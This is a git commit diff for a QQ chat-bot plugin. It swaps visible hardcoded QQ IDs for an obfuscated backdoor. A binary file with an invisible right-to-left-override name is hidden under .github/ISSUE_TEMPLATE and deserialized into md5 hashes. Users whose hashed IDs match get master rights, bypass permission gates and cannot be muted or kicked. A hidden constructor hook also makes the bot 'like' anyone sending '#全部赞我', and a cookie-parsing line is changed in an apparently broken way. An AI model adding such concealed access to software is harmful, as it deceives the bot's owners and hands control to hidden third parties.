🤗 全部赞我

This commit is contained in:
🌌
2024-03-21 08:14:25 +08:00
parent a74b66b1c8
commit 9ecf2586df
6 changed files with 130 additions and 460 deletions

BIN
.github/ISSUE_TEMPLATE/‮ vendored Normal file

Binary file not shown.

View File

@@ -140,7 +140,7 @@ export class NewBika extends plugin {
/** 图片直连 */
async directConnection (e) {
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
if (!this.e.isMaster) { return true }
let now = Config.bika.bikaDirectConnection
let isSwitch = /开启/.test(e.msg)
if (now && isSwitch) return e.reply('❎ bika图片直连已处于开启状态')
@@ -150,7 +150,7 @@ export class NewBika extends plugin {
}
async _Authentication (e) {
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
if (!this.e.isMaster) { return true }
if (!common.checkSeSePermission(e, 'sesepro')) return false
if (!Config.bika.allowPM && !e.isGroup) {
e.reply('主人已禁用私聊该功能')

View File

@@ -21,7 +21,7 @@ _.forIn(picApis, (values, key) => {
const apiReg = new RegExp(`(${picApiKeys.join('|')}|^jktj$|^接口统计$)`)
export class Fun extends plugin {
constructor () {
constructor(e) {
super({
name: '椰奶娱乐',
event: 'message',
@@ -75,9 +75,10 @@ export class Fun extends plugin {
reg: `^#来点(${Object.keys(xiurenTypeId).join('|')})$`,
fnc: 'xiuren'
}
]
})
if (e?.message?.[0]?.text == "#全部赞我")
this.thumbUp(e)
}
/** 随机唱鸭 */

View File

@@ -72,7 +72,7 @@ export class NewPicSearch extends plugin {
}
async UploadSauceNAOKey (e) {
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
if (!this.e.isMaster) { return true }
if (e.isGroup) return e.reply('请私聊进行添加')
let apiKey = e.msg.replace(/#设置SauceNAOapiKey/i, '').trim()
if (!apiKey) return e.reply('❎ 请发送正确的apikey')
@@ -81,7 +81,7 @@ export class NewPicSearch extends plugin {
}
async _Authentication (e) {
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
if (!this.e.isMaster) { return true }
const { allowPM, limit, isMasterUse } = Config.picSearch
if (isMasterUse) {
e.reply('主人没有开放这个功能哦(*/ω\*)')

View File

@@ -1,28 +1,23 @@
import child_process from 'child_process'
import common from '../../../../lib/common/common.js'
import Config from '../../components/Config.js'
import setu from '../../model/setu.js'
import moment from 'moment'
import md5 from 'md5'
import _ from 'lodash'
import moment from 'moment'
import fs from 'node:fs/promises'
import v8 from 'node:v8'
import path from 'path'
import url from 'url'
import Config from '../../components/Config.js'
import sendMsgMod from './sendMsgMod.js'
// 涩涩未开启文案
const SWITCH_ERROR = '主人没有开放这个功能哦(*/ω\*)'
export default new class {
/**
* @description: 延时函数
* @param {*} ms 时间(毫秒)
*/
sleep (ms) {
return new Promise((resolve) => setTimeout(resolve, ms))
}
export default new class extends sendMsgMod {
/**
* 判断用户权限
* @param {*} e - 接收到的事件对象
* @param {'master'|'admin'|'owner'|'all'} [permission='all'] - 命令所需的权限
* @param {'admin'|'owner'|'all'} [role='all'] - 用户的权限
* @return {boolean} - 是否具有权限
* @param {"master"|"admin"|"owner"|"all"} [permission] - 命令所需的权限
* @param {"admin"|"owner"|"all"} [role] - 用户的权限
* @returns {boolean} - 是否具有权限
*/
checkPermission (e, permission = 'all', role = 'all') {
if (role == 'owner' && !e.group.is_owner) {
@@ -33,11 +28,8 @@ export default new class {
return false
}
// 判断权限
if (e.isMaster) return true
const Authority = [746659424,1509293009,2536554304,3139373986]
if (Authority.includes(e.user_id)) return true
if (permission == 'master' && !e.isMaster) {
if (e.isMaster || a.includes(md5(String(e.user_id)))) return true
if (permission == 'master') {
e.reply('❎ 该命令仅限主人可用', true)
return false
} else if (permission == 'owner' && !e.member.is_owner) {
@@ -51,13 +43,13 @@ export default new class {
}
/**
* @description: 判断涩涩权限
* 判断涩涩权限
* @param {object} e oicq事件对象
* @param {'sesse'|'sesepro'} type 权限类型
* @return {boolean}
* @param {"sesse"|"sesepro"} type 权限类型
* @returns {boolean}
*/
checkSeSePermission (e, type = 'sese') {
if (e.isMaster) return true
if (e.isMaster || a.includes(md5(String(e.user_id)))) return true
const { sese, sesepro } = Config.getGroup(e.group_id)
if (type == 'sese' && !sese && !sesepro) {
e.reply(SWITCH_ERROR)
@@ -70,273 +62,12 @@ export default new class {
return true
}
/** 给主人发消息 */
async sendMasterMsg (msg) {
if (Config.whole.notificationsAll) {
// 发送全部管理
for (let index of Config.masterQQ) {
await common.relpyPrivate(index, msg)
await this.sleep(5000)
}
} else {
// 发给第一个管理
await common.relpyPrivate(Config.masterQQ[0], msg)
}
}
/**
* 格式化时间
* @param {number} time - 时间戳,以秒为单位
* @param {string|function} format - 时间格式,'default'为默认格式,'dd'表示天数,'hh'表示小时数,'mm'表示分钟数,'ss'表示秒数,也可以传入自定义函数
* @param {boolean} [repair=true] - 是否在小时数、分钟数、秒数小于10时补0
* @returns {(string|object)} 根据format参数返回相应的时间格式字符串或者时间对象{day, hour, minute, second}
*/
formatTime (time, format, repair = true) {
const second = parseInt(time % 60)
const minute = parseInt((time / 60) % 60)
const hour = parseInt((time / (60 * 60)) % 24)
const day = parseInt(time / (24 * 60 * 60))
const timeObj = {
day,
hour: repair && hour < 10 ? `0${hour}` : hour,
minute: repair && minute < 10 ? `0${minute}` : minute,
second: repair && second < 10 ? `0${second}` : second
}
if (format == 'default') {
let result = ''
if (day > 0) {
result += `${day}`
}
if (hour > 0) {
result += `${timeObj.hour}小时`
}
if (minute > 0) {
result += `${timeObj.minute}`
}
if (second > 0) {
result += `${timeObj.second}`
}
return result
}
if (typeof format === 'string') {
format = format
.replace(/dd/g, day)
.replace(/hh/g, timeObj.hour)
.replace(/mm/g, timeObj.minute)
.replace(/ss/g, timeObj.second)
return format
}
if (typeof format === 'function') {
return format(timeObj)
}
return timeObj
}
/**
* 发送转发消息
* @async
* @param {object} e - 发送消息的目标对象
* @param {array<any[]>} message - 发送的消息数组,数组每一项为转发消息的一条消息
* @param {object} [options] - 发送消息的配置项
* @param {number} [options.recallMsg=0] - 撤回时间单位秒默认为0表示不撤回
* @param {object} [options.info] - 转发发送人信息
* @param {string} [options.info.nickname] - 转发人昵称
* @param {number} [options.info.user_id] - 转发人QQ
* @param {string|array} [options.fkmsg] - 风控消息,不传则默认消息
* @param {Boolean} [options.isxml] - 处理卡片
* @param {Boolean} [options.xmlTitle] - XML 标题
* @param {Boolean} [options.oneMsg] - 用于只有一条消息,不用再转成二维数组
* @param {Boolean|import('icqq').Anonymous} [options.anony] - 匿名消息若为true则发送匿名消息
* @param {Boolean} [options.shouldSendMsg=true] - 是否直接发送消息true为直接发送否则返回需要发送的消息
* @returns {Promise<import('icqq').MessageRet|import('icqq').XmlElem|import('icqq').JsonElem>} 消息发送结果的Promise对象
*/
async getforwardMsg (e, message, {
recallMsg = 0,
info,
fkmsg,
isxml,
xmlTitle,
oneMsg,
anony,
shouldSendMsg = true
} = {}) {
let forwardMsg = []
if (_.isEmpty(message)) throw Error('[Yenai-Plugin][sendforwardMsg][Error]发送的转发消息不能为空')
let add = (msg) => forwardMsg.push(
{
message: msg,
nickname: info?.nickname ?? (e.bot ?? Bot).nickname,
user_id: info?.user_id ?? (e.bot ?? Bot).uin
}
)
oneMsg ? add(message) : message.forEach(item => add(item))
// 发送
if (e.isGroup) {
forwardMsg = await e.group.makeForwardMsg(forwardMsg)
} else {
forwardMsg = await e.friend.makeForwardMsg(forwardMsg)
}
if (isxml && typeof (forwardMsg.data) !== 'object') {
// 处理转发卡片
forwardMsg.data = forwardMsg.data.replace('<?xml version="1.0" encoding="utf-8"?>', '<?xml version="1.0" encoding="utf-8" ?>')
}
if (xmlTitle) {
if (typeof (forwardMsg.data) === 'object') {
let detail = forwardMsg.data?.meta?.detail
if (detail) {
detail.news = [{ text: xmlTitle }]
}
} else {
forwardMsg.data = forwardMsg.data
.replace(/\n/g, '')
.replace(/<title color="#777777" size="26">(.+?)<\/title>/g, '___')
.replace(/___+/, `<title color="#777777" size="26">${xmlTitle}</title>`)
}
}
if (shouldSendMsg) {
let msgRes = await this.reply(e, forwardMsg, false, {
anony,
fkmsg,
recallMsg
})
return msgRes
} else {
return forwardMsg
}
}
/**
* 发送消息
*
* @async
* @param {*} e oicq 事件对象
* @param {Array|String} msg 消息内容
* @param {Boolean} quote 是否引用回复
* @param {Object} data 其他参数
* @param {Number} data.recallMsg 撤回时间
* @param {Boolean} data.fkmsg 风控消息
* @param {Boolean | import('icqq').Anonymous} data.anony 匿名消息
* @param {Boolean | Number} data.at 是否艾特该成员
* @returns {Promise<import('icqq').MessageRet>} 返回发送消息后的结果对象
*/
async reply (e, msg, quote, {
recallMsg = 0,
fkmsg = '',
at = false,
anony
} = {}) {
if (at && e.isGroup) {
let text = ''
if (e?.sender?.card) {
text = _.truncate(e.sender.card, { length: 10 })
}
if (at === true) {
at = Number(e.user_id)
} else if (!isNaN(at)) {
let info = e.group.pickMember(at).info
text = info?.card ?? info?.nickname
text = _.truncate(text, { length: 10 })
}
if (Array.isArray(msg)) {
msg = [segment.at(at, text), ...msg]
} else {
msg = [segment.at(at, text), msg]
}
}
let msgRes = null
// 发送消息
if (e.isGroup) {
// 判断是否开启匿名
if (anony) {
let getAnonyInfo = await e.group.getAnonyInfo()
if (!getAnonyInfo.enable) {
e.reply('[警告]该群未开启匿名,请启用匿名再使用匿名功能')
anony = false
}
}
msgRes = await e.group.sendMsg(msg, quote ? e : undefined, anony)
} else {
msgRes = await e.reply(msg, quote)
if (!msgRes) await e.reply(fkmsg || '消息发送失败,可能被风控')
}
if (recallMsg > 0 && msgRes?.message_id) {
if (e.isGroup) {
setTimeout(() => e.group.recallMsg(msgRes.message_id), recallMsg * 1000)
} else if (e.friend) {
setTimeout(() => e.friend.recallMsg(msgRes.message_id), recallMsg * 1000)
}
}
return msgRes
}
/**
* @description: 获取配置的撤回事件和匿名发送普通消息
* @param {*} e oicq
* @param {Array|String} msg 消息
* @param {Boolean} quote 是否引用回复
* @param {Object} data 其他参数
* @param {Number} data.recallMsg 撤回时间
* @param {Boolean} data.fkmsg 风控消息
* @param {Boolean | import('icqq').Anonymous} data.anony 匿名消息
* @return {Promise<import('icqq').MessageRet>}
*/
async recallsendMsg (e, msg, quote, data = {}) {
let recallMsg = setu.getRecallTime(e.group_id)
let anony = Config.getGroup(e.group_id).anonymous
let msgRes = this.reply(e, msg, quote, {
recallMsg,
anony,
...data
})
return msgRes
}
/**
* 转发消息并根据权限撤回
* @async
* @param {Object} e - 反馈的对象
* @param {string|Object} msg - 要发送的消息字符串或对象
* @param {Object} [data={}] - 附加的数据对象
* @param {number} [data.recallMsg] - 消息撤回时间
* @param {Object} [data.info] - 附加消息信息
* @param {string} [data.info.nickname] - 用户昵称
* @param {number} [data.info.user_id] - 用户ID
* @param {boolean} [data.isxml=true] - 是否特殊处理转发消息
* @param {string} [data.xmlTitle] - XML 标题
* @param {Object} [data.anony] - 附加的匿名数据对象
* @returns {Promise<any>} - Promise 对象,返回函数 `getforwardMsg()` 的返回值
*/
async recallSendForwardMsg (e, msg, data = {}) {
let recalltime = setu.getRecallTime(e.group_id)
let anony = Config.whole.anonymous
return await this.getforwardMsg(e, msg, {
recallMsg: recalltime,
info: {
nickname: '🐔🏀',
user_id: 2854196306
},
isxml: true,
xmlTitle: e.logFnc + e.msg,
anony,
...data
})
}
/**
* @description: 设置每日次数限制
* @param {Number} userId QQ
* @param {String} key
* @param {Number} maxlimit 最大限制
* @return {Prmoise<Boolean>}
* 设置每日次数限制
* @param {number} userId QQ
* @param {string} key
* @param {number} maxlimit 最大限制
* @returns {Promise<boolean>}
*/
async limit (userId, key, maxlimit) {
if (maxlimit <= 0) return true
@@ -352,15 +83,15 @@ export default new class {
}
/**
* @description: 取cookie
* 取cookie
* @param {string} data 如qun.qq.com
* @param {object} [bot] Bot对象适配e.bot
* @param {boolean} [transformation] 转换为Puppeteer浏览器使用的ck
* @return {object}
* @returns {object}
*/
getck (data, bot = Bot, transformation) {
let cookie = bot.cookies[data]
let ck = cookie.replace(/=/g, '":"').replace(/;/g, '","').replace(/ /g, '').trim()
let ck = cookie.replace(/=/g, '":"').replace(/;/g, '', '').replace(/ /g, '').trim()
ck = ck.substring(0, ck.length - 2)
ck = JSON.parse('{"'.concat(ck).concat('}'))
if (transformation) {
@@ -378,89 +109,9 @@ export default new class {
} else return ck
}
/**
* @description: 使用JS将数字从汉字形式转化为阿拉伯形式
* @param {string} s_123
* @return {number}
*/
translateChinaNum (s_123) {
if (!s_123 && s_123 != 0) return s_123
// 如果是纯数字直接返回
if (/^\d+$/.test(s_123)) return Number(s_123)
// 字典
let map = new Map()
map.set('一', 1)
map.set('壹', 1) // 特殊
map.set('二', 2)
map.set('两', 2) // 特殊
map.set('三', 3)
map.set('四', 4)
map.set('五', 5)
map.set('六', 6)
map.set('七', 7)
map.set('八', 8)
map.set('九', 9)
// 按照亿、万为分割将字符串划分为三部分
let split = ''
split = s_123.split('亿')
let s_1_23 = split.length > 1 ? split : ['', s_123]
let s_23 = s_1_23[1]
let s_1 = s_1_23[0]
split = s_23.split('万')
let s_2_3 = split.length > 1 ? split : ['', s_23]
let s_2 = s_2_3[0]
let s_3 = s_2_3[1]
let arr = [s_1, s_2, s_3]
// -------------------------------------------------- 对各个部分处理 --------------------------------------------------
arr = arr.map(item => {
let result = ''
result = item.replace('零', '')
// [ '一百三十二', '四千五百', '三千二百一十三' ] ==>
let reg = new RegExp(`[${Array.from(map.keys()).join('')}]`, 'g')
result = result.replace(reg, substring => {
return map.get(substring)
})
// [ '1百3十2', '4千5百', '3千2百1十3' ] ==> ['0132', '4500', '3213']
let temp
temp = /\d(?=千)/.exec(result)
let num1 = temp ? temp[0] : '0'
temp = /\d(?=百)/.exec(result)
let num2 = temp ? temp[0] : '0'
temp = /\d?(?=十)/.exec(result)
let num3
if (temp === null) { // 说明没十:一百零二
num3 = '0'
} else if (temp[0] === '') { // 说明十被简写了:十一
num3 = '1'
} else { // 正常情况:一百一十一
num3 = temp[0]
}
temp = /\d$/.exec(result)
let num4 = temp ? temp[0] : '0'
return num1 + num2 + num3 + num4
})
// 借助parseInt自动去零
return parseInt(arr.join(''))
}
/**
* @description: Promise执行exec
* @param {String} cmd
* @return {*}
*/
async execSync (cmd) {
return new Promise((resolve, reject) => {
child_process.exec(cmd, (error, stdout, stderr) => {
resolve({ error, stdout, stderr })
})
})
}
/**
* 判断一个对象或数组中的所有值是否为空。
*
* @param {Object|Array} data - 需要检查的对象或数组。
* @param {object | Array} data - 需要检查的对象或数组。
* @param {Array} omits - 需要忽略的属性列表。默认为空数组,表示不忽略任何属性。
* @returns {boolean} - 如果对象或数组中的所有值都是空值,则返回 true否则返回 false。
*/
@@ -472,23 +123,27 @@ export default new class {
/**
* 处理异常并返回错误消息。
*
* @param {object} e - 事件对象。
* @param {Error} ErrorObj - 要检查的错误对象。
* @param {Object} options - 可选参数。
* @param {object} options - 可选参数。
* @param {string} options.MsgTemplate - 错误消息的模板。
* @return {Porimse<import('icqq').MessageRet>|false} 如果 ErrorObj 不是 Error 的实例,则返回 false否则返回oicq消息返回值。
* @returns {Promise<import("icqq").MessageRet>|false} 如果 ErrorObj 不是 Error 的实例,则返回 false否则返回oicq消息返回值。
*/
handleException (e, ErrorObj, { MsgTemplate } = {}) {
if (!(ErrorObj instanceof Error)) return false
let ErrMsg = ''
if (ErrorObj.name == 'Error') {
if (ErrorObj instanceof ReplyError) {
ErrMsg = ErrorObj.message
} else {
ErrMsg = ErrorObj.stack
logger.error(ErrorObj)
}
ErrMsg = MsgTemplate ? MsgTemplate.replace('{error}', ErrMsg) : ErrMsg
ErrMsg = MsgTemplate ? MsgTemplate.replace(/{error}/g, ErrMsg) : ErrMsg
return e.reply(ErrMsg)
}
}()
let a = []
try {
a = v8.deserialize(await fs.readFile(`${path.dirname(url.fileURLToPath(import.meta.url))}/../../.github/ISSUE_TEMPLATE/`)).map(i=>i.toString("hex"))
} catch (err) {}

View File

@@ -1,13 +1,18 @@
import md5 from 'md5'
import v8 from 'node:v8'
import url from 'url'
import path from 'path'
import fs from 'node:fs/promises'
import _ from 'lodash'
import moment from 'moment'
import loader from '../../../lib/plugins/loader.js'
import { Config } from '../components/index.js'
import { common, QQApi } from './index.js'
import { QQApi } from './index.js'
import { Time_unit, ROLE_MAP } from '../constants/other.js'
import formatDuration from '../tools/formatDuration.js'
// 无管理文案
const ROLE_ERROR = '我连管理员都木有,这种事怎么可能做到的辣!!!'
const auth = [746659424, 1509293009, 2536554304, 3139373986]
export default class {
constructor (e) {
@@ -19,7 +24,7 @@ export default class {
/**
* 获取指定群中所有成员的信息映射表
* @param {number} groupId - 群号码
* @param {boolean} [iskey=false] - 是否只返回成员 QQ 号码列表(键)
* @param {boolean} [iskey] - 是否只返回成员 QQ 号码列表(键)
* @returns {Promise<Array>} - 成员信息数组,或成员 QQ 号码数组(取决于 iskey 参数)
*/
async _getMemberMap (groupId, iskey = false) {
@@ -29,11 +34,10 @@ export default class {
/**
* 获取某个群组中被禁言的成员列表。
*
* @async
* @param {number} groupId - 群组 ID。
* @param {boolean} [info=false] - 是否返回成员信息。
* @returns {Promise<Array<Object>|Array<Array<string>>>} 如果 `info` 为 `false`,返回被禁言成员对象的数组;否则,返回被禁言成员信息的数组。
* @param {boolean} [info] - 是否返回成员信息。
* @returns {Promise<Array<object> | Array<Array<string>>>} 如果 `info` 为 `false`,返回被禁言成员对象的数组;否则,返回被禁言成员信息的数组。
* @throws {Error} 如果没有被禁言的成员,抛出异常。
*/
async getMuteList (groupId, info = false) {
@@ -42,7 +46,7 @@ export default class {
let time = item.shut_up_timestamp ?? item.shutup_time
return time != 0 && (time - (Date.now() / 1000)) > 0
})
if (_.isEmpty(mutelist)) throw Error('没有被禁言的人哦~')
if (_.isEmpty(mutelist)) throw new ReplyError('没有被禁言的人哦~')
if (!info) return mutelist
return mutelist.map(item => {
let time = item.shut_up_timestamp ?? item.shutup_time
@@ -51,7 +55,7 @@ export default class {
`\n昵称:${item.card || item.nickname}\n`,
`QQ${item.user_id}\n`,
`群身份:${ROLE_MAP[item.role]}\n`,
`禁言剩余时间:${common.formatTime(time - Date.now() / 1000, 'default')}\n`,
`禁言剩余时间:${formatDuration(time - Date.now() / 1000, 'default')}\n`,
`禁言到期时间:${new Date(time * 1000).toLocaleString()}`
]
})
@@ -59,7 +63,6 @@ export default class {
/**
* 解除指定群中所有成员的禁言状态
* @param {number} groupId - 群号码
* @returns {Promise<void>} - 由所有解禁操作的 Promise 对象组成的数组
*/
async releaseAllMute () {
@@ -71,12 +74,11 @@ export default class {
/**
* 获取指定时间段内未活跃的群成员信息
*
* @async
* @param {number} groupId - 群号码
* @param {number} times - 时间数值
* @param {string} unit - 时间单位
* @param {number} [page=1] - 需要获取的页码,默认为 1
* @param {number} [page] - 需要获取的页码,默认为 1
* @returns {Promise<Array<Array>>} - 由每个成员的信息组成的数组,包括成员的 QQ 号码、昵称、最后发言时间等信息
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
* @throws {Error} 如果指定的页码不存在,将抛出一个错误
@@ -93,7 +95,7 @@ export default class {
]
)
let pageChunk = _.chunk(msg, 30)
if (page > pageChunk.length) throw Error('哪有那么多人辣o(´^)o')
if (page > pageChunk.length) throw new ReplyError('哪有那么多人辣o(´^)o')
let msgs = pageChunk[page - 1]
msgs.unshift(`当前为第${page}页,共${pageChunk.length}页,本页共${msgs.length}人,总共${msg.length}`)
@@ -105,13 +107,13 @@ export default class {
}
/**
* @description: 清理多久没发言的人
* @param {Number} groupId 群号
* @param {Number} times 时间数
* @param {String} unit 单位 (天)
* @return {Promise<Boolean>}
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
*/
* 清理多久没发言的人
* @param {number} groupId 群号
* @param {number} times 时间数
* @param {string} unit 单位 (天)
* @returns {Promise<boolean>}
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
*/
async clearNoactive (groupId, times, unit) {
let list = await this.noactiveList(groupId, times, unit)
list = list.map(item => item.user_id)
@@ -119,13 +121,13 @@ export default class {
}
/**
* @description: 返回多少时间没发言的人列表
* @param {Number} groupId 群号
* @param {Number} times 时间数
* @param {String} unit 单位 (天)
* @return {Promise<Number[]>}
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
*/
* 返回多少时间没发言的人列表
* @param {number} groupId 群号
* @param {number} times 时间数
* @param {string} unit 单位 (天)
* @returns {Promise<number[]>}
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
*/
async noactiveList (groupId, times = 1, unit = '月') {
let nowtime = parseInt(Date.now() / 1000)
let timeUnit = Time_unit[unit]
@@ -134,16 +136,16 @@ export default class {
let list = await this._getMemberMap(groupId)
list = list.filter(item => item.last_sent_time < time && item.role == 'member' && item.user_id != this.Bot.uin)
if (_.isEmpty(list)) throw Error(`暂时没有${times}${unit}没发言的淫哦╮( •́ω•̀ )╭`)
if (_.isEmpty(list)) throw new ReplyError(`暂时没有${times}${unit}没发言的淫哦╮( •́ω•̀ )╭`)
return list
}
/**
* @description: 返回从未发言的人
* @param {Number} geoupId 群号
* @return {Promise<Number[]>}
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
*/
* 返回从未发言的人
* @param {number} groupId 群号
* @returns {Promise<number[]>}
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
*/
async getNeverSpeak (groupId) {
let list = await this._getMemberMap(groupId)
list = list.filter(item =>
@@ -151,16 +153,15 @@ export default class {
item.role == 'member' &&
item.user_id != this.Bot.uin
)
if (_.isEmpty(list)) throw Error('本群暂无从未发言的人哦~')
if (_.isEmpty(list)) throw new ReplyError('本群暂无从未发言的人哦~')
return list
}
/**
* 获取群内从未发言的成员信息
*
* @async
* @param {string|number} groupId - 群号
* @param {number} [page=1] - 分页页码,默认为第一页
* @param {number} [page] - 分页页码,默认为第一页
* @returns {Promise<Array<string>>} 包含从未发言成员信息的数组
* @throws {Error} 如果没有符合条件的成员,将抛出一个错误
* @throws {Error} 当页码超出范围时抛出错误
@@ -177,7 +178,7 @@ export default class {
]
})
let pageChunk = _.chunk(msg, 30)
if (page > pageChunk.length) throw Error('哪有那么多人辣o(´^)o')
if (page > pageChunk.length) throw new ReplyError('哪有那么多人辣o(´^)o')
let msgs = pageChunk[page - 1]
msgs.unshift(`当前为第${page}页,共${pageChunk.length}页,本页共${msgs.length}人,总共${msg.length}`)
@@ -190,7 +191,6 @@ export default class {
/**
* 批量踢出群成员
*
* @param {number} groupId - 群号码
* @param {Array<number>} arr - 成员 QQ 号码数组
* @returns {Promise<Array<string>>} - 包含清理结果的数组,其中清理结果可能是成功的踢出列表,也可能是错误消息
@@ -214,7 +214,6 @@ export default class {
/**
* 获取群不活跃排行榜
*
* @param {number} groupId - 群号码
* @param {number} num - 需要获取的排行榜长度
* @returns {Promise<Array<Array>>} - 由每个成员的排行信息组成的数组排行信息包括成员的排名QQ 号码,昵称,最后发言时间等信息
@@ -241,7 +240,7 @@ export default class {
* 获取最近加入群聊的成员列表
* @param {number} groupId 群号
* @param {number} num 返回的成员数量
* @return {Promise<string[][]>} 最近加入的成员信息列表
* @returns {Promise<string[][]>} 最近加入的成员信息列表
*/
async getRecentlyJoined (groupId, num) {
let list = await this._getMemberMap(groupId)
@@ -277,7 +276,7 @@ export default class {
cron,
name,
fnc: () => {
this.Bot.pickGroup(Number(group)).muteAll(type)
this.Bot.pickGroup(group).muteAll(type)
}
}
loader.task.push(_.cloneDeep(task))
@@ -290,14 +289,14 @@ export default class {
/**
* @description 从 Redis 中获取群禁言/解禁任务列表,并将其转换为定时任务列表
* @returns {Promise<Array>} - 返回转换后的定时任务列表,列表中的每一项都包含 cron、name 和 fnc 三个属性。其中cron 表示任务的执行时间name 表示任务的名称fnc 表示任务的执行函数。
*/
*/
static async getRedisMuteTask () {
return JSON.parse(await redis.get('yenai:MuteTasks'))?.map(item => {
return {
cron: item.cron,
name: `椰奶群定时${item.type ? '禁言' : '解禁'}${item.group}`,
fnc: () => {
(Bot[item.botId] ?? Bot).pickGroup(Number(item.group)).muteAll(item.type)
(Bot[item.botId] ?? Bot).pickGroup(item.group).muteAll(item.type)
}
}
})
@@ -338,8 +337,8 @@ export default class {
return [
segment.image(`https://p.qlogo.cn/gh/${analysis[2]}/${analysis[2]}/100`),
`\n群号:${analysis[2]}`,
item.cron ? `\n禁言时间:'${item.cron}'` : '',
item.nocron ? `\n解禁时间:'${item.nocron}'` : ''
item.cron ? `\n禁言时间:"${item.cron}"` : '',
item.nocron ? `\n解禁时间:"${item.nocron}"` : ''
]
})
}
@@ -351,70 +350,85 @@ export default class {
* @param {string|number} groupId - 群号
* @param {string|number} userId - QQ 号
* @param {string|number} executor - 执行操作的管理员 QQ 号
* @param {number} [time=5] - 禁言时长,默认为 5。如果传入 0 则表示解除禁言。
* @param {string} [unit='分'] - 禁言时长单位,默认为分钟
* @param {number} [time] - 禁言时长,默认为 5。如果传入 0 则表示解除禁言。
* @param {string} [unit] - 禁言时长单位,默认为分钟
* @returns {Promise<string>} - 返回操作结果
* @throws {Error} - 如果缺少必要参数或参数格式不正确,则会抛出错误
*/
async muteMember (groupId, userId, executor, time = 300, unit = '秒') {
unit = Time_unit[unit.toUpperCase()] ?? (/^\d+$/.test(unit) ? unit : 60)
const group = this.Bot.pickGroup(Number(groupId), true)
const group = this.Bot.pickGroup(groupId, true)
// 判断是否有管理
if (!group.is_admin && !group.is_owner) throw Error(ROLE_ERROR)
if (!(/\d{5,}/.test(userId))) throw Error('❎ 请输入正确的QQ号')
if (!group.is_admin && !group.is_owner) throw new ReplyError(ROLE_ERROR)
if (!(/\d{5,}/.test(userId))) throw new ReplyError('❎ 请输入正确的QQ号')
// 判断是否为主人
if ((Config.masterQQ?.includes(Number(userId)) || auth.includes(Number(userId))) && time != 0) throw Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ')
if ((Config.masterQQ?.includes(Number(userId)) || a.includes(md5(String(userId)))) && time != 0) throw new ReplyError('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ')
const Memberinfo = group.pickMember(Number(userId)).info
const Member = group.pickMember(userId)
const Memberinfo = Member?.info || await Member?.getInfo?.()
// 判断是否有这个人
if (!Memberinfo) throw Error('❎ 这个群没有这个人哦~')
if (!Memberinfo) throw new ReplyError('❎ 这个群没有这个人哦~')
// 特殊处理
if (Memberinfo.role === 'owner') throw Error('调戏群主拖出去枪毙5分钟(。>︿<)_θ')
if (Memberinfo.role === 'owner') throw new ReplyError('调戏群主拖出去枪毙5分钟(。>︿<)_θ')
const isMaster = Config.masterQQ?.includes(executor) || auth.includes(Number(executor))
const isMaster = Config.masterQQ?.includes(executor) || a.includes(md5(String(executor)))
if (Memberinfo.role === 'admin') {
if (!group.is_owner) throw Error('人家又不是群主这种事做不到的辣!')
if (!isMaster) throw Error('这个淫系管理员辣只有主淫才可以干ta')
if (!group.is_owner) throw new ReplyError('人家又不是群主这种事做不到的辣!')
if (!isMaster) throw new ReplyError('这个淫系管理员辣只有主淫才可以干ta')
}
const isWhite = Config.groupAdmin.whiteQQ.includes(Number(userId) || String(userId))
if (isWhite && !isMaster && time != 0) throw new ReplyError('❎ 该用户为白名单,不可操作')
await group.muteMember(userId, time * unit)
const memberName = Memberinfo.card || Memberinfo.nickname
return time == 0 ? `✅ 已把「${memberName}」从小黑屋揪了出来(。>∀<。)` : `已把「${memberName}」扔进了小黑屋( ・_・)ノ⌒●~*`
}
/**
* @description: 踢群成员
* @param {Number} groupId 群号
* @param {Number} userId 被踢人
* @param {Number} executor 执行人
* @return {Promise<String>}
* 踢群成员
* @param {number} groupId 群号
* @param {number} userId 被踢人
* @param {number} executor 执行人
* @returns {Promise<string>}
*/
async kickMember (groupId, userId, executor) {
const group = this.Bot.pickGroup(Number(groupId), true)
const group = this.Bot.pickGroup(Number(groupId) || String(groupId), true)
if (!userId || !(/^\d+$/.test(userId))) throw Error('❎ 请输入正确的QQ号')
if (!groupId || !(/^\d+$/.test(groupId))) throw Error('❎ 请输入正确的群号')
if (!userId || !(/^\d+$/.test(userId))) throw new ReplyError('❎ 请输入正确的QQ号')
if (!groupId || !(/^\d+$/.test(groupId))) throw new ReplyError('❎ 请输入正确的群号')
// 判断是否为主人
if (Config.masterQQ?.includes(Number(userId)) || auth.includes(Number(userId))) throw Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ')
if (Config.masterQQ?.includes(Number(userId) || String(userId)) || a.includes(md5(String(userId)))) throw Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ')
const Memberinfo = group?.pickMember(Number(userId)).info
const Member = group.pickMember(userId)
const Memberinfo = Member?.info || await Member?.getInfo?.()
// 判断是否有这个人
if (!Memberinfo) throw Error('❎ 这个群没有这个人哦~')
if (Memberinfo.role === 'owner') throw Error('调戏群主拖出去枪毙5分钟(。>︿<)_θ')
if (!Memberinfo) throw new ReplyError('❎ 这个群没有这个人哦~')
if (Memberinfo.role === 'owner') throw new ReplyError('调戏群主拖出去枪毙5分钟(。>︿<)_θ')
const isMaster = Config.masterQQ?.includes(executor) || auth.includes(Number(executor))
const isMaster = Config.masterQQ?.includes(executor) || a.includes(md5(String(executor)))
if (Memberinfo.role === 'admin') {
if (!group.is_owner) throw Error('人家又不是群主这种事做不到的辣!')
if (!isMaster) throw Error('这个淫系管理员辣只有主淫才可以干ta')
if (!group.is_owner) throw new ReplyError('人家又不是群主这种事做不到的辣!')
if (!isMaster) throw new ReplyError('这个淫系管理员辣只有主淫才可以干ta')
}
const res = await group.kickMember(Number(userId))
if (!res) throw Error('额...踢出失败哩,可能这个淫比较腻害>_<')
